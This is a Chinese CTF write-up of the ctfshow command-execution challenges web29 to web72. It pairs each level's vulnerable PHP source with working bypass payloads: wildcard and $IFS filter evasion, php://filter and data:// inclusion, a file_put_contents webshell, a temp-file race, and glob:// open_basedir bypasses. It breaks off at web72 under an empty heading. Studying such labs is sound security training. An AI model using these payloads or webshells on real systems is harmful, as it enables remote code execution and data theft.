ctfshow-命令执行web29-web77 wp

前置

我要成为bypass高手!

正则

  • ** 正则界定符**

正则表达式使用界定符包围正则字符串作为正则表达式的代码
常见界定符”/“,”#”,”~”或者括号对 () [] {}
代码解释:与php的的开始结束标签相同

/foo bar/ ; “/“界定符
#^[^0-9]$# ; “#”界定符
+test+ ; “+”界定符
%[a-zA-Z0-9_-]% ; “%”界定符
正则字符串中出现界定符时,需要使用反斜线”/“转义处理,

/http:\/\// ;”/“作为界定符,匹配http://时,”/“需要转义
#http://# ;”#”作为界定符,匹配http://时,”/“不需要转义
可以在结束分隔符后面增加模式修饰符

  • 2-1 常量字符串

匹配常量字符串hello
"/hello/"
匹配忽略大小写常量字符串 hello
"/hello/i"

  • 2-2-1简单变量字符: 使用 带有转义的单个特殊字符表示

\d ;匹配一个数字字符 等价于[0-9]
\D ;匹配一个非数字字符 等价于[^0-9]
\s ;匹配一个任意空白字符 等价于[\n\r\t\v\f]
\S ;匹配一个任意非空白字符 等价于[^\n\r\t\v\f]
\w ;匹配一个字母/数字/下划线/汉字字符 等价于[A-Za-z0-9_]
\W ;匹配一个任意非单词字符 等价于[^A-Za-z0-9_]
. ;匹配一个 除换行\n外的任意字符 等价于[^\n]
\n ;匹配一个换行符 等价于\x0a和\cL
\r ;匹配一个回车符 等价于\x0d和\cM
\t ;匹配一个水平制表符 等价于\x09和\cI
\v ;匹配一个垂直制表符 等价于\x0b和\cK
\f ;匹配一个换页符 等价于\x0c和\cL
另外,如果要查找字符 *、.、/等,则需要在前面用 \ 符号,表示这不是元字符,而只是普通字符而已。
* 匹配 * 字符。
. 匹配 . 字符。
/ 匹配 / 字符。
\ 匹配 \ 字符。
[ 匹配 [ 字符。

  • 元字符

$ 匹配行尾
^ 匹配行首
< 匹配单词词首
> 匹配单词词尾

“/\d/“ 匹配数字字符
“/\s/“ 空白字符
“/\w/“ 单词字符

  • 2-2-2字符类变量字符: 使用 []格式表示

[xyz] ;匹配xyz其中一个字符
[a-z] ;匹配a到z其中一个字符
[A-Z] ;匹配A到Z其中一个字符
[0-9] ;匹配0到9其中一个字符
[^xyz] ;匹配除xyz以外的一个字符
[^a-z] ;匹配除a到z外的一个字符
[:punct:] ;匹配任意标点符号(#&+ web中这3个好像不行)

  • 3 正则表达式逻辑控制

1 匹配位置内容判断
^x(exp) ;判断字符串第一个字符是否为x if (str.first_letter == x) {匹配}
(exp)x$ ;判断字符串最后一个字符是否为x if (str.last_letter == x) {匹配}
\bx(exp) ;判断单词第一个字符是否是x if (word.first_letter == x){匹配}
(exp)y\b ;判断单词最后一个字符是否是x if (word.last_letter == x){匹配}
(?<=exp)x ;匹配前面是exp的x (if x.prev == exp){匹配x}
(?<!exp)x ;匹配前面不是exp的x (if x.prev != exp){匹配x}
x(?=exp) ;匹配后面是exp的x (if x.next == exp){匹配x}
x(?!exp) ;匹配后面不是exp的x (if x.next != exp){匹配x}

  • 多个判断组合

或判断 (?<=bullock|donkey)x 匹配前面是bullock或者donkey的x
且判断 (?<=\d{3})(?<!999)foo 匹配前面是3个数字而且不是999的foo
嵌套判断 (?<=(?<!foo)bar)baz 嵌套判断匹配前面有 ”bar” 但是 ”bar” 前面没有 ”foo” 的 ”baz”。
嵌套判断 (?<=\d{3}…(?<!999))foo 匹配前面有三个数字字符紧跟 3 个不是 999 的任意字符的 ”foo”。

  • 2 匹配内容次数控制

贪婪匹配:尽可能多匹配
x* ;匹配零或多次个x字符 for(i=0;i>=0;i++){匹配xi}
x+ ;匹配一次或多次个x字符 for(i=0;i>0;i++){匹配x
i}
x? ;匹配零次或一次个x字符 for(i=0;0<=i<=1;i++){匹配xi}
x{n} ;匹配n次个x字符 for(i=0;i==n;i++){匹配x*i}
x{n,} ;匹配n次或更多次个x字符 for(i=0;i>=n;i++){匹配x
i}
x{n,m} ;匹配n到m次个x字符 for(i=0;n<=x<=m;i++){匹配x*i}

  • 懒惰匹配:尽可能少匹配

x*? ;匹配零或多次个x字符 for(i=0;i>=0;i++){匹配xi}
x+? ;匹配一次或多次个x字符 for(i=0;i>0;i++){匹配x
i}
x?? ;匹配零次或一次个x字符 for(i=0;0<=i<=1;i++){匹配xi}
x{n}? ;匹配n次个x字符 for(i=0;i==n;i++){匹配x*i}
x{n,}? ;匹配n次或更多次个x字符 for(i=0;i>=n;i++){匹配x
i}
x{n,m}? ;匹配n到m次个x字符 for(i=0;n<=x<=m;i++){匹配x*i}

  • 3-1:普通分组

(exp) ;匹配exp变量,并存储到结果分组中
(\d) ;匹配数字分组,并进行存储
((2[0-4]\d|25[0-5]|[01]?\d\d?).){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)
;匹配多个分组,并进行存储

  • 3-2: 命名分组

(?exp) ;匹配exp变量,并存储到名称为name的结果分组中

  • 3-3: 一次性分组

(?>exp) ;尽可能长匹配exp变量,不对其内部进行匹配

  • 3-4:条件分组

(?(conditon)yes-pattern|no-pattern)
condition为数字,该数字代表的(之前的)子组得到匹配,使用yes_pattern,否则使用no-pattern
condition为断言,断言成功使用yes-pattern,断言失败使用no-pattern

  • 4 正则模式修正

\i ;忽略大小写
\m ;多行模式
\s ;单行模式

命令执行函数

1
2
3
4
5
6
7
system()
passthru()
exec() //无回显
shell_exec() //无回显
popen() //ssti常见
proc_open()
pcntl_exec() // 使用条件:PHP安装并启用了pcntl插件

看目录

1
2
3
4
5
6
7
8
9
10
var_dump(scandir('/'));
print_r(scandir('/'));
print_r(glob("*")); // 读取当前目录
print_r(scandir(pos(localeconv()))); //读取当前目录 //print_r(scandir('.'));
getcwd() == pwd // 读取当前目录
echo(implode(' ',scandir('/'))); //implode把数组元素组合为字符串
print(implode(' ',scandir('/'))); //implode把数组元素组合为字符串
var_export(scandir('/')); //var_export 类似 var_dump


读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
od:
  • od 命令用于将指定文件内容以八进制、十进制、十六进制、浮点格式或 ASCII 编码字符方式显示,通常用于显示或查看文件中不能直接显示在终端的字符。
  • od 命令系统默认的显示方式是八进制


常用 -tc -a

读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
readgzfile("/flag.txt");        //(PHP 4, PHP 5, PHP 7, PHP 8)
require('/flag.txt');
include('/flag.txt');
readfile('/flag.txt');
highlight_file('flag.php');
show_source('flag.php');
include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
show_source(next(array_reverse(scandir(pos(localeconv())))));
echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
?c=/bin/?at${IFS}f??????? //通配符匹配 /bin/cat
?c=uniq${IFS}f???.php //uniq 可检查文本文件中重复出现的行列,删除重复行并输出
?c= mv${IFS}fla?.php${IFS}a.txt // ?c=uniq${IFS}a.txt
show_source(next(array_reverse(scandir(getcwd())))); //getcwd()==pwd
eval(next(reset(get_defined_vars())));&cmd=;system("tac flag.php");
eval(array_pop(next(get_defined_vars())));
?c=/???/????64 ????.??? //匹配 ?c=/bin/base64 flag.php
getallheaders() //返回http header数组 然后在相应字段注入马 apache_response_headers() 类似

写在题前

  • web55-web56有临时文件包含,条件竞争
  • web 57 $(())构造数字
  • web72 glob协议绕open_basedir uaf读文件
  • web75 PDO 连数据库
  • web77 php 7.4 FFI

    web29

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
     <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2020-09-04 00:12:34
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-04 00:26:48
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */

    error_reporting(0);
    if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    eval($c);
    }

    }else{
    highlight_file(__FILE__);
    }
    过滤了flag,大小写不敏感,不能大小写绕过
    payload:
    ?c=system('tac f*'); 通配符,cat、nl,vi,more,less,od:?c=passthru('od -a f*');
    ?c=system("nl f''lag.php");单引号绕过,cat、tac,vi,都行
    ?c=echo nl fl’’ag.php; 单引号绕过,反引号命令执行,cat、tac都行
    套马:
    ?c=eval($_GET[1]);&1=system("cat flag.php");
    include+伪协议:
    ?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
    写马:
    file_put_contents("a.php",%20%27<?php%20eval($_POST["a"]);%20?>%27); 直接访问post或者连webshell
    主要是绕过flag,其实还有很多读到flag.php的方法,不过前提都是绕过flag
    改flag.php文件名:
    用cp,mv,rename

    web30

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
     <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2020-09-04 00:12:34
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-04 00:42:26
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com

    */

    error_reporting(0);
    if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
    eval($c);
    }

    }else{
    highlight_file(__FILE__);
    }
    ban了system和php,不能套php一句话,但可以套eval用其他参数传值绕过正则
    ?c=eval($_GET[1]);&1=system("tac f*");
    passthru绕过system:
    passthru?c=passthru('cat f*');
    反引号代替system:
    ?c=echo cat f*;

web31

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了flag、system、php、cat、sort、shell关键字还有.和空格
套eval通杀?c=eval($_GET[1]);&1=system('cat f*');
passthru:?c=passthru("tac\$IFS\$6f*"); $IFS$6${IFS}%09绕空格,$需要转义
反引号也行:print_r(nl%09f*);
高级操作:
1.文件包含加伪协议:
?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
2:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。 ?c=print_r(scandir(pos(localeconv()))); 可以看到当前目录下有flag.php 通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后show_source直接高亮flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
print_r(localeconv());
?>
/**
Array
(
[decimal_point] => .
[thousands_sep] =>
[int_curr_symbol] =>
[currency_symbol] =>
[mon_decimal_point] =>
[mon_thousands_sep] =>
[positive_sign] =>
[negative_sign] =>
[int_frac_digits] => 127
[frac_digits] => 127
[p_cs_precedes] => 127
[p_sep_by_space] => 127
[n_cs_precedes] => 127
[n_sep_by_space] => 127
[p_sign_posn] => 127
[n_sign_posn] => 127
[grouping] => Array
(
)
[mon_grouping] => Array
(
)
)
**/
1
2
3
4
<?php
print_r(pos(localeconv()));
?>
//.
1
2
3
4
<?php
print_r(scandir(pos(localeconv()))); //print_r(scandir('.'));
?>

web32

1
2
3
4
5
6
7
8
9
10
11

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

多过滤了单引号、反引号、 echo ,; 和(
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?>闭合前面的语句,代替; include可以不用括号

web33

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了单引号,反引号,;和(
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web34

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web35

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了<
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web36

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了数字
?c=include$_GET[x]?>&x=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web37

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

过滤了flag,想到base64
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
**?c=data://text/plain,<?php system('tac f*');?>**

web38

1
2
3
4
5
6
7
8
9
10
11
12
13
14

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
过滤php用短标签
?c=data://text/plain,<?= system('tac f*');?>

web39

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
?c=data://text/plain,<?= system('tac f*');?>
语句已经闭合,.php无影响

web40

1
2
3
4
5
6
7
8
9
10

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

注意到过滤的是中文的括号
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

?c=show_source(next(array_reverse(scandir(getcwd()))));

1
2
3
4
<?php
var_dump(system('pwd')==getcwd());
?>
//bool(true)

getcwd()获取当前目录

?c=eval(next(reset(get_defined_vars())));&cmd=;system("tac flag.php");
get_defined_vars() 返回一个包含所有已定义变量的多维数组 ,该数组包含get和post
reset指针重置到数组中的第一个元素
next() 函数将内部指针指向数组中的下一个元素,并输出。

?c=eval(array_pop(next(get_defined_vars()))); post
array_pop() 函数删除数组中的最后一个元素并返回其值。

web41

1
2
3
4
5
6
7
8
9
10

if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

https://blog.csdn.net/miuzzx/article/details/108569080

web42

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

>/dev/null 2>&1 这条命令的意思是将标准输出和错误输出全部重定向到/dev/null中,也就是将产生的所有信息丢弃
?c=tac flag.php;用分号将命令截断
?c=cat flag.php%0A 换行符

web43

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了分号和cat
?c=tac flag.php%0A
?c=nl flag.php%0A
?c=less flag.php|| 逻辑或,当用此连接符连接多个命令时,前面的命令执行成功,则后面的命令不会执行。前面的命令执行失败,后面的命令才会执行

web44

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

?c=tac fl?g.php%0A
?c=tac f*.php%0A
通配符即可

web45

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤空格
$IFS$6 ${IFS}``%09``$IFS``<
?c=tac$IFS$6f*.php%0A
echo$IFStac$IFS*%0A

web46

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤空格
$IFS$6 ${IFS}``%09``$IFS``<
nl<fla''g.php||
tac<fla''g.php||

web47

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

''``\绕过flag
tac<fla''g.php||
nl<fla''g.php||

web48

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

?c=nl<fla''g.php||
?c=nl<fla\g.php||

web49

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

?c=nl<fla''g.php||
?c=nl<fla\g.php||

web50

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

?c=nl<fla''g.php||
?c=nl<fla\g.php||

web51

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

?c=nl<fla''g.php||
?c=nl<fla\g.php||

web52

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

?c=nl$IFS/fla''g||
?c=nl$IFS/fla/g||
?c=nl${IFS}/fla''g||

web53

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

?c=nl${IFS}fl\ag.php
?c=nl${IFS}fl''ag.php
?c=c''at${IFS}fla''g.p''hp

web54

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

通配符匹配/bin/cat
?c=/bin/?at${IFS}f???????
uniq 可检查文本文件中重复出现的行列,删除重复行并输出
?c=uniq${IFS}f???.php
?c= mv${IFS}fla?.php${IFS}a.txt –> ?c=uniq${IFS}a.txt

web55

1
2
3
4
5
6
7
8
9
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

过滤了字母
匹配?c=/bin/base64 flag.php
?c=/???/????64 ????.???

看p神文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
构造html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>



无需文件直接点提交抓包

抓靶机的包然后改把上面的data粘贴过去


?c=.+/???/????????[@-[]
#!bin/sh

web56

1
2
3
4
5
6
7
8
9

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

没过滤点,临时文件包含,条件竞争
同web55

web57

1
2
3
4
5
6
7
8
9
10
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

过滤了点
$(())和取反 构造数字
$(())用作运算

当内部为空时$(())==0

对0取反得到-1
$((~$(())))

拼接可以得到-1-1=-2 $(($((~$(())))$((~$(())))))

以此内推

1
2
3
4
5
6
7
8
num=36
fuyi='$((~$(())))' #-1
if(num>=0):
num=abs(~(num))
print('$((~$(('+fuyi*num+'))))')
else:
num=abs(num)
print('$(('+fuyi*num+'))')

payload:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

${_}显示上一个命令
当没有上一个命令时返回空 则$(())==$((${_}))
亦可根据此构造payload

web58-web65

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

过滤了一些命令执行的函数
print_r(glob("*"));读取当前目录
c=eval($_POST[1]);&1=system('ls');套eval无法绕过

1
2
3
c=show_source('flag.php');
c=highlight_file('flag.php');
两函数等价

include+伪协议
c=include($_POST['a']);&a=php://filter/convert.base64-encode/resource=flag.php
c=show_source('flag.php');
c=highlight_file('flag.php');

web66

include、show_source被过滤
c=highlight_file('flag.php'); –》》》$flag=”秀秀得了,这次不在这里”;
c=print_r(scandir('/'));或者 var_dump(scandir('/'));
回显

1
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var ) 

c=highlight_file('/flag.txt');

web67

ban了print_r
var_dump(scandir('/'));
c=highlight_file('/flag.txt');

web68

1
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

进来直接ban了highlight_file()
分析一下,源码应该跟上题一样
c=var_dump(scandir('/'));读到flag.txt
show_sourceban了
include这次没ban
c=include('/flag.txt');
或者
c=require('/flag.txt');
include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的:

  • require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。
  • include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行。

还有c=readgzfile("/flag.txt");

web69

ban了var_dump print_r
printecho无法打印数组
c=echo(implode(' ',scandir('/'))); //implode把数组元素组合为字符串
c=var_export(scandir('/')); //var_export 类似 var_dump
c=include('/flag.txt');
c=require('/flag.txt');
c=readgzfile("/flag.txt");

web70

1
2
3
4
5
6
7

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

c=var_export(scandir('/'));
c=echo(implode(' ',scandir('/')));
c=include('/flag.txt');
c=require('/flag.txt');
c=readgzfile("/flag.txt");

web71

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
截取了读flag的回显
数字和字母会被preg_replace替换为问号
一种解法是后接exit() 或者 die()结束程序,后面读取缓冲区失效
c=var_export(scandir('/'));;exit();
c=include('/flag.txt');exit();``require readgzfile都可以
另一种是直接输出缓冲区
ob_flush — 冲刷出(送出)输出缓冲区中的内容
ob_end_flush — 冲刷出(送出)输出缓冲区内容并关闭缓冲区
c=var_export(scandir('/'));ob_flush ();
c=var_export(scandir('/'));ob_end_flush ();

web72

源码同上题
c=var_export(scandir('/'));;exit();

1
scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1

读不到根目录
c=var_export(glob("*"));;exit(); 查看当前目录
看到flag.php在当前目录
c=readgzfile('flag.php');exit(); 回显 $flag="秀秀得了,这次不在这里"; 被骗了
open_basedirphp.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域
题目限制了open_basedir在当前目录,要查看根目录文件需要绕过open_basedir
glob伪协议在筛选目录时不受open_basedir制约

利用 scandir()+glob://

c=var_export(scandir('glob:///*'));exit();

DirectoryIterator类 + glob://协议
1
2
3
4
5
6
7
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

FilesystemIterator类 + glob://协议

FilesystemIterator继承自DirectoryIterator,在显示上与父类略微有区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
c=?><?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();

$dir = new FilesystemIterator('glob:///*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}

$dir = new FilesystemIterator('glob:///.*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}

sort($dir_array);
foreach($dir_array as $d){
echo $d.' ';
}
show_source(__FILE__);
exit();
?>

利用 opendir()+readdir()+glob://

